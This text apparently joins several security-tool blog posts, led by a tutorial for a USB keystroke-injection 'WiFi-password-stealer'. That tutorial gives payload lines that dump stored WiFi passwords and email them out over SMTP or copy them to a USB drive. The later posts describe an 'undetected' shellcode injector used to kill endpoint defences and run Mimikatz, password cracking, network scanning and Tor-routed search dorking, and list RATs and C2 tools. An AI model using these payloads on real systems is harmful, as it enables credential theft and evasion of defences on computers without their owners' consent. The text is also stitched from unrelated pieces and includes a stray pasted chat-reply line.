    • In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
    • In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

    If access point is vulnerable, you should see the PMKID value like the below screenshot:

    Demo Run

    Disclaimer

    This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.



    WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

    By: Zion3R


    Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

    Disclaimer: All content in this project is intended for security research purpose only.

    Β 

    Introduction

    During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

    Setup

    After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

    Prerequisites

    • Physical access to victim's computer.

    • Unlocked victim's computer.

    • Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

    • Knowledge of victim's computer password for the Linux exploit.

    Requirements - What you'll need


    • Raspberry Pi Pico (RPi Pico)
    • Micro USB to USB Cable
    • Jumper Wire (optional)
    • pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
    • USB flash drive (for the exploit over physical medium only)


    Note:

    • It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

    • However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

    • In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

    Keystroke injection tool

    Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

    Keystroke injection

    The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

    Delays

    We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

    Exfiltration

    Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

    • Exfiltration over the network medium.
      • This approach was used for the Windows exploit. The whole payload can be seen here.

    • Exfiltration over a physical medium.
      • This approach was used for the Linux exploit. The whole payload can be seen here.

    Windows exploit

    In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

    Sending stolen data over email

    Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

    STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

     Note:

    • After sending data over the email, the .txt file is deleted.

    • You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

    • Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

    Linux exploit

    In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

    Storing stolen data to USB flash drive

    Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

    STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt

    STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt

    In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

    STRING echo PASSWORD | sudo -S echo

    STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"

    Bash script

    In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

    echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

    where PASSWORD is your account's password and USBSTICK is the name for your USB device.

    Quick overview of the payload

    NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

    For more information about NetworkManager here is some useful links:

    Exfiltrated data formatting

    Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

    Wireless_Network_Name Password
    --------------------- --------
    WLAN1 pass1
    WLAN2 pass2
    WLAN3 pass3

    USB Mass Storage Device Problem

    One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

    ο’‘ Tip:

    • Upload your payload to RPi Pico before you connect the pins.
    • Don't solder the pins because you will probably want to change/update the payload at some point.

    Payload Writer

    When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

    python3 writer.py windows payload1.dd

    Limitations/Drawbacks

    • This pico-ducky currently works only on Windows OS.

    • This attack requires physical access to an unlocked device in order to be successfully deployed.

    • The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

    • Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

    • Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

    • The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

    • Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

    • If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

    • If the computer has a non-English Environment set, this exploit won't be successful.

    • Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

    To-Do List

    • Fix Caps Lock bug.
    • Fix non-English Environment bug.
    • Obfuscate the command prompt.
    • Implement exfiltration over a physical medium.
    • Create a payload for Linux.
    • Encode/Encrypt exfiltrated data before sending it over email.
    • Implement indicator of successfully completed exploit.
    • Implement command history clean-up for Linux exploit.
    • Enhance the Linux exploit in order to avoid usage of sudo.


    Top 20 Most Popular Hacking Tools in 2023

    By: Zion3R

    As last year, this year we made a ranking with the most popular tools between January and December 2023.

    The tools of this year encompass a diverse range of cybersecurity disciplines, including AI-Enhanced Penetration Testing, Advanced Vulnerability Management, Stealth Communication Techniques, Open-Source General Purpose Vulnerability Scanning, and more.

    Without going into further details, we have prepared a useful list of the most popular tools in Kitploit 2023:


    1. PhoneSploit-Pro - An All-In-One Hacking Tool To Remotely Exploit Android Devices Using ADB And Metasploit-Framework To Get A Meterpreter Session


    2. Gmailc2 - A Fully Undetectable C2 Server That Communicates Via Google SMTP To Evade Antivirus Protections And Network Traffic Restrictions


    3. Faraday - Open Source Vulnerability Management Platform


    4. CloakQuest3r - Uncover The True IP Address Of Websites Safeguarded By Cloudflare


    5. Killer - Is A Tool Created To Evade AVs And EDRs Or Security Tools


    6. Geowifi - Search WiFi Geolocation Data By BSSID And SSID On Different Public Databases


    7. Waf-Bypass - Check Your WAF Before An Attacker Does


    8. PentestGPT - A GPT-empowered Penetration Testing Tool


    9. Sirius - First Truly Open-Source General Purpose Vulnerability Scanner


    10. LSMS - Linux Security And Monitoring Scripts


    11. GodPotato - Local Privilege Escalation Tool From A Windows Service Accounts To NT AUTHORITY\SYSTEM


    12. Bypass-403 - A Simple Script Just Made For Self Use For Bypassing 403


    13. ThunderCloud - Cloud Exploit Framework


    14. GPT_Vuln-analyzer - Uses ChatGPT API And Python-Nmap Module To Use The GPT3 Model To Create Vulnerability Reports Based On Nmap Scan Data


    15. Kscan - Simple Asset Mapping Tool


    16. RedTeam-Physical-Tools - Red Team Toolkit - A Curated List Of Tools That Are Commonly Used In The Field For Physical Security, Red Teaming, And Tactical Covert Entry


    17. DNSWatch - DNS Traffic Sniffer and Analyzer


    18. IpGeo - Tool To Extract IP Addresses From Captured Network Traffic File


    19. TelegramRAT - Cross Platform Telegram Based RAT That Communicates Via Telegram To Evade Network Restrictions


    20. XSS-Exploitation-Tool - An XSS Exploitation Tool





    Happy New Year wishes the KitPloit team!


    NetProbe - Network Probe

    By: Zion3R


    NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.

    Features

    • Scan for devices on a specified IP address or subnet
    • Display the IP address, MAC address, manufacturer, and device model of discovered devices
    • Live tracking of devices (optional)
    • Save scan results to a file (optional)
    • Filter by manufacturer (e.g., 'Apple') (optional)
    • Filter by IP range (e.g., '192.168.1.0/24') (optional)
    • Scan rate in seconds (default: 5) (optional)

    Download

    You can download the program from the GitHub page.

    $ git clone https://github.com/HalilDeniz/NetProbe.git

    Installation

    To install the required libraries, run the following command:

    $ pip install -r requirements.txt

    Usage

    To run the program, use the following command:

    $ python3 netprobe.py [-h] -t  [...] -i  [...] [-l] [-o] [-m] [-r] [-s]
    • -h,--help: show this help message and exit
    • -t,--target: Target IP address or subnet (default: 192.168.1.0/24)
    • -i,--interface: Interface to use (default: None)
    • -l,--live: Enable live tracking of devices
    • -o,--output: Output file to save the results
    • -m,--manufacturer: Filter by manufacturer (e.g., 'Apple')
    • -r,--ip-range: Filter by IP range (e.g., '192.168.1.0/24')
    • -s,--scan-rate: Scan rate in seconds (default: 5)

    Example:

    $ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l

    Help Menu

    Scanner Tool options: -h, --help show this help message and exit -t [ ...], --target [ ...] Target IP address or subnet (default: 192.168.1.0/24) -i [ ...], --interface [ ...] Interface to use (default: None) -l, --live Enable live tracking of devices -o , --output Output file to save the results -m , --manufacturer Filter by manufacturer (e.g., 'Apple') -r , --ip-range Filter by IP range (e.g., '192.168.1.0/24') -s , --scan-rate Scan rate in seconds (default: 5) " dir="auto">
    $ python3 netprobe.py --help                      
    usage: netprobe.py [-h] -t [...] -i [...] [-l] [-o] [-m] [-r] [-s]

    NetProbe: Network Scanner Tool

    options:
    -h, --help show this help message and exit
    -t [ ...], --target [ ...]
    Target IP address or subnet (default: 192.168.1.0/24)
    -i [ ...], --interface [ ...]
    Interface to use (default: None)
    -l, --live Enable live tracking of devices
    -o , --output Output file to save the results
    -m , --manufacturer Filter by manufacturer (e.g., 'Apple')
    -r , --ip-range Filter by IP range (e.g., '192.168.1.0/24')
    -s , --scan-rate Scan rate in seconds (default: 5)

    Default Scan

    $ python3 netprobe.py 

    Live Tracking

    You can enable live tracking of devices on your network by using the -l or --live flag. This will continuously update the device list every 5 seconds.

    $ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l

    Save Results

    You can save the scan results to a file by using the -o or --output flag followed by the desired output file name.

    $ python3 netprobe.py -t 192.168.1.0/24 -i eth0 -l -o results.txt
    ┏━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
    ┃ IP Address   ┃ MAC Address       ┃ Packet Size ┃ Manufacturer                 ┃
    ┑━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
    β”‚ 192.168.1.1  β”‚ **:6e:**:97:**:28 β”‚ 102         β”‚ ASUSTek COMPUTER INC.        β”‚
    β”‚ 192.168.1.3  β”‚ 00:**:22:**:12:** β”‚ 102         β”‚ InPro Comm                   β”‚
    β”‚ 192.168.1.2  β”‚ **:32:**:bf:**:00 β”‚ 102         β”‚ Xiaomi Communications Co Ltd β”‚
    β”‚ 192.168.1.98 β”‚ d4:**:64:**:5c:** β”‚ 102         β”‚ ASUSTek COMPUTER INC.        β”‚
    β”‚ 192.168.1.25 β”‚ **:49:**:00:**:38 β”‚ 102         β”‚ Unknown                      β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
    

    Contact

    If you have any questions, suggestions, or feedback about the program, please feel free to reach out to me through any of the following platforms:

    License

    This program is released under the MIT LICENSE. See LICENSE for more information.



    PassBreaker - Command-line Password Cracking Tool Developed In Python

    By: Zion3R


    PassBreaker is a command-line password cracking tool developed in Python. It allows you to perform various password cracking techniques such as wordlist-based attacks and brute force attacks.Β 

    Features

    • Wordlist-based password cracking
    • Brute force password cracking
    • Support for multiple hash algorithms
    • Optional salt value
    • Parallel processing option for faster cracking
    • Password complexity evaluation
    • Customizable minimum and maximum password length
    • Customizable character set for brute force attacks

    Installation

    1. Clone the repository:

      git clone https://github.com/HalilDeniz/PassBreaker.git
    2. Install the required dependencies:

      pip install -r requirements.txt

    Usage

    python passbreaker.py <password_hash> <wordlist_file> [--algorithm]

    Replace <password_hash> with the target password hash and <wordlist_file> with the path to the wordlist file containing potential passwords.

    Options

    • --algorithm <algorithm>: Specify the hash algorithm to use (e.g., md5, sha256, sha512).
    • -s, --salt <salt>: Specify a salt value to use.
    • -p, --parallel: Enable parallel processing for faster cracking.
    • -c, --complexity: Evaluate password complexity before cracking.
    • -b, --brute-force: Perform a brute force attack.
    • --min-length <min_length>: Set the minimum password length for brute force attacks.
    • --max-length <max_length>: Set the maximum password length for brute force attacks.
    • --character-set <character_set>: Set the character set to use for brute force attacks.

    Elbette! İşte İngilizce olarak yazılmış başlık ve küçük bir bilgi ile daha fazla kullanım ârneği:

    Usage Examples

    Wordlist-based Password Cracking

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5

    This command attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the MD5 algorithm and a wordlist from the "passwords.txt" file.

    Brute Force Attack

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 --brute-force --min-length 6 --max-length 8 --character-set abc123

    This command performs a brute force attack to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" by trying all possible combinations of passwords with a length between 6 and 8 characters, using the character set "abc123".

    Password Complexity Evaluation

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha256 --complexity

    This command evaluates the complexity of passwords in the "passwords.txt" file and attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the SHA-256 algorithm. It only tries passwords that meet the complexity requirements.

    Using Salt Value

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5 --salt mysalt123

    This command uses a specific salt value ("mysalt123") for the password cracking process. Salt is used to enhance the security of passwords.

    Parallel Processing

    python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha512 --parallel

    This command performs password cracking with parallel processing for faster cracking. It utilizes multiple processing cores, but it may consume more system resources.

    These examples demonstrate different features and use cases of the "PassBreaker" password cracking tool. Users can customize the parameters based on their needs and goals.

    Disclaimer

    This tool is intended for educational and ethical purposes only. Misuse of this tool for any malicious activities is strictly prohibited. The developers assume no liability and are not responsible for any misuse or damage caused by this tool.

    Contributing

    Contributions are welcome! To contribute to PassBreaker, follow these steps:

    1. Fork the repository.
    2. Create a new branch for your feature or bug fix.
    3. Make your changes and commit them.
    4. Push your changes to your forked repository.
    5. Open a pull request in the main repository.

    Contact

    If you have any questions, comments, or suggestions about PassBreaker, please feel free to contact me:

    License

    PassBreaker is released under the MIT License. See LICENSE for more information.



    TrafficWatch - TrafficWatch, A Packet Sniffer Tool, Allows You To Monitor And Analyze Network Traffic From PCAP Files

    By: Zion3R


    TrafficWatch, a packet sniffer tool, allows you to monitor and analyze network traffic from PCAP files. It provides insights into various network protocols and can help with network troubleshooting, security analysis, and more.

    • Protocol-specific packet analysis for ARP, ICMP, TCP, UDP, DNS, DHCP, HTTP, SNMP, LLMNR, and NetBIOS.
    • Packet filtering based on protocol, source IP, destination IP, source port, destination port, and more.
    • Summary statistics on captured packets.
    • Interactive mode for in-depth packet inspection.
    • Timestamps for each captured packet.
    • User-friendly colored output for improved readability.
    • Python 3.x
    • scapy
    • argparse
    • pyshark
    • colorama

    1. Clone the repository:

      git clone https://github.com/HalilDeniz/TrafficWatch.git
    2. Navigate to the project directory:

      cd TrafficWatch
    3. Install the required dependencies:

      pip install -r requirements.txt

    python3 trafficwatch.py --help
    usage: trafficwatch.py [-h] -f FILE [-p {ARP,ICMP,TCP,UDP,DNS,DHCP,HTTP,SNMP,LLMNR,NetBIOS}] [-c COUNT]

    Packet Sniffer Tool

    options:
    -h, --help show this help message and exit
    -f FILE, --file FILE Path to the .pcap file to analyze
    -p {ARP,ICMP,TCP,UDP,DNS,DHCP,HTTP,SNMP,LLMNR,NetBIOS}, --protocol {ARP,ICMP,TCP,UDP,DNS,DHCP,HTTP,SNMP,LLMNR,NetBIOS}
    Filter by specific protocol
    -c COUNT, --count COUNT
    Number of packets to display

    To analyze packets from a PCAP file, use the following command:

    python trafficwatch.py -f path/to/your.pcap

    To specify a protocol filter (e.g., HTTP) and limit the number of displayed packets (e.g., 10), use:

    python trafficwatch.py -f path/to/your.pcap -p HTTP -c 10

    • -f or --file: Path to the PCAP file for analysis.
    • -p or --protocol: Filter packets by protocol (ARP, ICMP, TCP, UDP, DNS, DHCP, HTTP, SNMP, LLMNR, NetBIOS).
    • -c or --count: Limit the number of displayed packets.

    Contributions are welcome! If you want to contribute to TrafficWatch, please follow our contribution guidelines.

    If you have any questions, comments, or suggestions about Dosinator, please feel free to contact me:

    This project is licensed under the MIT License.

    Thank you for considering supporting me! Your support enables me to dedicate more time and effort to creating useful tools like DNSWatch and developing new projects. By contributing, you're not only helping me improve existing tools but also inspiring new ideas and innovations. Your support plays a vital role in the growth of this project and future endeavors. Together, let's continue building and learning. Thank you!"Β 



    RecycledInjector - Native Syscalls Shellcode Injector

    By: Zion3R


    (Currently) Fully Undetected same-process native/.NET assembly shellcode injector based on RecycledGate by thefLink, which is also based on HellsGate + HalosGate + TartarusGate to ensure undetectable native syscalls even if one technique fails.

    To remain stealthy and keep entropy on the final executable low, do ensure that shellcode is always loaded externally since most AV/EDRs won't check for signatures on non-executable or DLL files anyway.

    Important to also note that the fully undetected part refers to the loading of the shellcode, however, the shellcode will still be subject to behavior monotoring, thus make sure the loaded executable also makes use of defense evasion techniques (e.g., SharpKatz which features DInvoke instead of Mimikatz).


    Usage

    .\RecycledInjector.exe <path_to_shellcode_file>

    Proof of Concept

    This proof of concept leverages Terminator by ZeroMemoryEx to kill most security solution/agents present on the system. It is used against Microsoft Defender for Endpoint EDR.

    On the left we inject the Terminator shellcode to load the vulnerable driver and kill MDE processes, and on the right is an example of loading and executing Invoke-Mimikatz remotely from memory, which is not stopped as there is no running security solution anymore on the system.



    KaliPackergeManager - Kali Packerge Manager

    By: Zion3R


    kalipm.sh is a powerful package management tool for Kali Linux that provides a user-friendly menu-based interface to simplify the installation of various packages and tools. It streamlines the process of managing software and enables users to effortlessly install packages from different categories.Β 


    Features

    • Interactive Menu: Enjoy an intuitive and user-friendly menu-based interface for easy package selection.
    • Categorized Packages: Browse packages across multiple categories, including System, Desktop, Tools, Menu, and Others.
    • Efficient Installation: Automatically install selected packages with the help of the apt-get package manager.
    • System Updates: Keep your system up to date with the integrated update functionality.

    Installation

    To install KaliPm, you can simply clone the repository from GitHub:

    git clone https://github.com/HalilDeniz/KaliPackergeManager.git

    Usage

    1. Clone the repository or download the KaliPM.sh script.
    2. Navigate to the directory where the script is located.
    3. Make the script executable by running the following command:
      chmod +x kalipm.sh
    4. Execute the script using the following command:
      ./kalipm.sh
    5. Follow the on-screen instructions to select a category and choose the desired packages for installation.

    Categories

    • System: Includes essential core items that are always included in the Kali Linux system.
    • Desktop: Offers various desktop environments and window managers to customize your Kali Linux experience.
    • Tools: Provides a wide range of specialized tools for tasks such as hardware hacking, cryptography, wireless protocols, and more.
    • Menu: Consists of packages tailored for information gathering, vulnerability assessments, web application attacks, and other specific purposes.
    • Others: Contains additional packages and resources that don't fall into the above categories.

    Update

    KaliPM.sh also includes an update feature to ensure your system is up to date. Simply select the "Update" option from the menu, and the script will run the necessary commands to clean, update, upgrade, and perform a full-upgrade on your system.

    Contributing

    Contributions are welcome! To contribute to KaliPackergeManager, follow these steps:

    1. Fork the repository.
    2. Create a new branch for your feature or bug fix.
    3. Make your changes and commit them.
    4. Push your changes to your forked repository.
    5. Open a pull request in the main repository.

    Contact

    If you have any questions, comments, or suggestions about Tool Name, please feel free to contact me:



    DorXNG - Next Generation DorX. Built By Dorks, For Dorks

    By: Zion3R


    DorXNG is a modern solution for harvesting OSINT data using advanced search engine operators through multiple upstream search providers. On the backend it leverages a purpose built containerized image of SearXNG, a self-hosted, hackable, privacy focused, meta-search engine.

    Our SearXNG implementation routes all search queries over the Tor network while refreshing circuits every ten seconds with Tor's MaxCircuitDirtiness configuration directive. We have also disabled all of SearXNG's client side timeout features. These settings allow for evasion of search engine restrictions commonly encountered while issuing many repeated search queries.

    The DorXNG client application is written in Python3, and interacts with the SearXNG API to issue search queries concurrently. It can even issue requests across multiple SearXNG instances. The resulting search results are stored in a SQLite3 database.


    We have enabled every supported upstream search engine that allows advanced search operator queries:

    • Google
    • DuckDuckGo
    • Qwant
    • Bing
    • Brave
    • Startpage
    • Yahoo

    For more information about what search engines SearXNG supports See: Configured Engines

    Setup ️

    LINUX ONLY ** Sorry Normies **

    Install DorXNG

    git clone https://github.com/researchanddestroy/dorxng
    cd dorxng
    pip install -r requirements.txt
    ./DorXNG.py -h

    Download and Run Our Custom SearXNG Docker Container (at least one). Multiple SearXNG instances can be used. Use the --serverlist option with DorXNG. See: server.lst

    When starting multiple containers wait at least a few seconds between starting each one.

    docker run researchanddestroy/searxng:latest

    If you would like to build the container yourself:

    git clone https://github.com/researchanddestroy/searxng # The URL must be all lowercase for the build process to complete
    cd searxng
    DOCKER_BUILDKIT=1 make docker.build
    docker images
    docker run <image-id>

    By default DorXNG has a hard coded server variable in parse_args.py which is set to the IP address that Docker will assign to the first container you run on your machine 172.17.0.2. This can be changed, or overwritten with --server or --serverlist.

    Start Issuing Search Queries

    ./DorXNG.py -q 'search query'

    Query the DorXNG Database

    ./DorXNG.py -D 'regex search string'

    Instructions ο“–

    -h, --help            show this help message and exit
    -s SERVER, --server SERVER
    DorXNG Server Instance - Example: 'https://172.17.0.2/search'
    -S SERVERLIST, --serverlist SERVERLIST
    Issue Search Queries Across a List of Servers - Format: Newline Delimited
    -q QUERY, --query QUERY
    Issue a Search Query - Examples: 'search query' | '!tch search query' | 'site:example.com intext:example'
    -Q QUERYLIST, --querylist QUERYLIST
    Iterate Through a Search Query List - Format: Newline Delimited
    -n NUMBER, --number NUMBER
    Define the Number of Page Result Iterations
    -c CONCURRENT, --concurrent CONCURRENT
    Define the Number of Concurrent Page Requests
    -l LIMITDATABASE, --limitdatabase LIMITDATABASE
    Set Maximum Database Size Limit - Starts New Database After Exceeded - Example: -- limitdatabase 10 (10k Database Entries) - Suggested Maximum Database Size is 50k
    when doing Deep Recursion
    -L LOOP, --loop LOOP Define the Number of Main Function Loop Iterations - Infinite Loop with 0
    -d DATABASE, --database DATABASE
    Specify SQL Database File - Default: 'dorxng.db'
    -D DATABASEQUERY, --databasequery DATABASEQUERY
    Issue Database Query - Format: Regex
    -m MERGEDATABASE, --mergedatabase MERGEDATABASE
    Merge SQL Database File - Example: --mergedatabase database.db
    -t TIMEOUT, --timeout TIMEOUT
    Specify Timeout Interval Between Requests - Default: 4 Seconds - Disable with 0
    -r NONEWRESULTS, --nonewresults NONEWRESULTS
    Specify Number of Iterations with No New Results - Default: 4 (3 Attempts) - Disable with 0
    -v, --verbose Enable Verbose Output
    -vv, --veryverbose Enable Very Ver bose Output - Displays Raw JSON Output

    Tips 

    Sometimes you will hit a Tor exit node that is already shunted by upstream search providers, causing you to receive a minimal amount of search results. Not to worry... Just keep firing off queries. ο˜‰

    Keep your DorXNG SQL database file and rerun your command, or use the --loop switch to iterate the main function repeatedly. 

    Most often, the more passes you make over a search query the more results you'll find. 

    Also keep in mind that we have made a sacrifice in speed for a higher degree of data output. This is an OSINT project after all. ο”ŽοŒŽ

    Each search query you make is being issued to 7 upstream search providers... Especially with --concurrent queries this generates a lot of upstream requests... So have patience.

    Keep in mind that DorXNG will continue to append new search results to your database file. Use the --database switch to specify a database filename, the default filename is dorxng.db. This probably doesn't matter for most, but if you want to keep your OSINT investigations seperate it's there for you.

    Four concurrent search requests seems to be the sweet spot. You can issue more, but the more queries you issue at a time the longer it takes to receive results. It also increases the likelihood you receive HTTP/429 Too Many Requests responses from upstream search providers on that specific Tor circuit.

    If you start multiple SearXNG Docker containers too rapidly Tor connections may fail to establish. While initializing a container, a valid response from the Tor Connectivity Check function looks like this:

    If you see anything other than that, or if you start to see HTTP/500 response codes coming back from the SearXNG monitor script (STDOUT in the container), kill the Docker container and spin up a new one.

    HTTP/504 Gateway Time-out response codes within DorXNG are expected sometimes. This means the SearXNG instance did not receive a valid response back within one minute. That specific Tor curcuit is probably too slow. Just keep going!

    There really isn't a reason to run a ton of these containers... Yet... ο˜‰ How many you run really depends on what you're doing. Each container uses approximately 1.25GBs of RAM.

    Running one container works perfectly fine, except you will likely miss search results. So use --loop and do not disable --timeout.

    Running multiple containers is nice because each has its own Tor curcuit thats refreshing every 10 seconds.

    When running --serverlist mode disable the --timeout feature so there is no delay between requests (The default delay interval is 4 seconds).

    Keep in mind that the more containers you run the more memory you will need. This goes for deep recursion too... We have disabled Python's maximum recursion limit... ο”ο˜‰

    The more recursions your command goes through without returning to main the more memory the process will consume. You may come back to find that the process has crashed with a Killed error message. If this happens your machine ran out of memory and killed the process. Not to worry though... Your database file is still good. 

    If your database file gets exceptionally large it inevitably slows down the program and consumes more memory with each iteration...

    Those Python Stack Frames are Thicc... ο‘ο˜…

    We've seen a marked drop in performance with database files that exceed approximately 50 thousand entries.

    The --limitdatabase option has been implemented to mitigate some of these memory consumption issues. Use it in combination with --loop to break deep recursive iteration inside iterator.py and restart from main right where you left off.

    Once you have a series of database files you can merge them all (one at a time) with --mergedatabase. You can even merge them all into a new database file if you specify an unused filename with --database.

    DO NOT merge data into a database that is currently being used by a running DorXNG process. This may cause errors and could potentially corrupt the database.

    The included query.lst file is every dork that currently exists on the Google Hacking Database (GHDB). See: ghdb_scraper.py

    We've already run through it for you... ο˜‰ Our ghdb.db file contains over one million entries and counting!  You can download it here ghdb.db if you'd like a copy. ο˜‰

    Example of querying the ghdb.db database:

    ./DorXNG.py -d ghdb.db -D '^http.*\.sql$'

    A rewrite of DorXNG in Golang is already in the works. ο˜‰ (GorXNG? | DorXNGNG?) ο˜†

    We're gonna need more dorks... ο˜… Check out DorkGPT ο‘€

    Examples ο’‘

    Single Search Query

    ./DorXNG.py -q 'search query'

    Concurrent Search Queries

    ./DorXNG.py -q 'search query' -c4

    Page Iteration Mode

    ./DorXNG.py -q 'search query' -n4

    Iterative Concurrent Search Queries

    ./DorXNG.py -q 'search query' -c4 -n64

    Server List Iteration Mode

    ./DorXNG.py -S server.lst -q 'search query' -c4 -n64 -t0

    Query List Iteration Mode

    ./DorXNG.py -Q query.lst -c4 -n64

    Query and Server List Iteration

    ./DorXNG.py -S server.lst -Q query.lst -c4 -n64 -t0

    Main Function Loop Iteration Mode

    ./DorXNG.py -S server.lst -Q query.lst -c4 -n64 -t0 -L4

